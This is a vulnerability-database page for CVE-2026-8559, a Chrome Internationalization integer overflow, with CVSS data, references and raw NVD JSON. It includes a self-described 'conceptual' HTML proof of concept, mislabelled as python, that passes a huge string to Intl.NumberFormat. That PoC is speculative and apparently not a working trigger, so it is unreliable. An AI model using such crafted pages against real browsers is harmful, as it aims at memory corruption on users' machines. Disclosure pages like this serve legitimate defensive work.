CVE-2026-8559

Description

Integer overflow in Internationalization in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome on Windows < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-8559 (Conceptual)
This HTML attempts to trigger an integer overflow in the Internationalization component.
Note: Actual exploitation requires specific payload tailored to the vulnerability.
-->
<!DOCTYPE html>
<html>
<body>
<script>
    // Attempt to trigger overflow using Intl APIs with crafted inputs
    try {
        // Crafting a large object or string to potentially cause overflow in internal calculations
        var maliciousInput = new Array(0x7FFFFFFF).join('A');
        var formatter = new Intl.NumberFormat('en-US', { style: 'currency', currency: maliciousInput });
    } catch (e) {
        console.log("Exception caught: " + e.message);
    }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8559
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8559
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8559/
[4] VulDB https://vuldb.com/cve/CVE-2026-8559
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/504629701

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8559", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:17.977", "lastModified": "2026-05-14T22:16:49.410", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in Internationalization in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/504629701", "source": "[email protected]"}]}}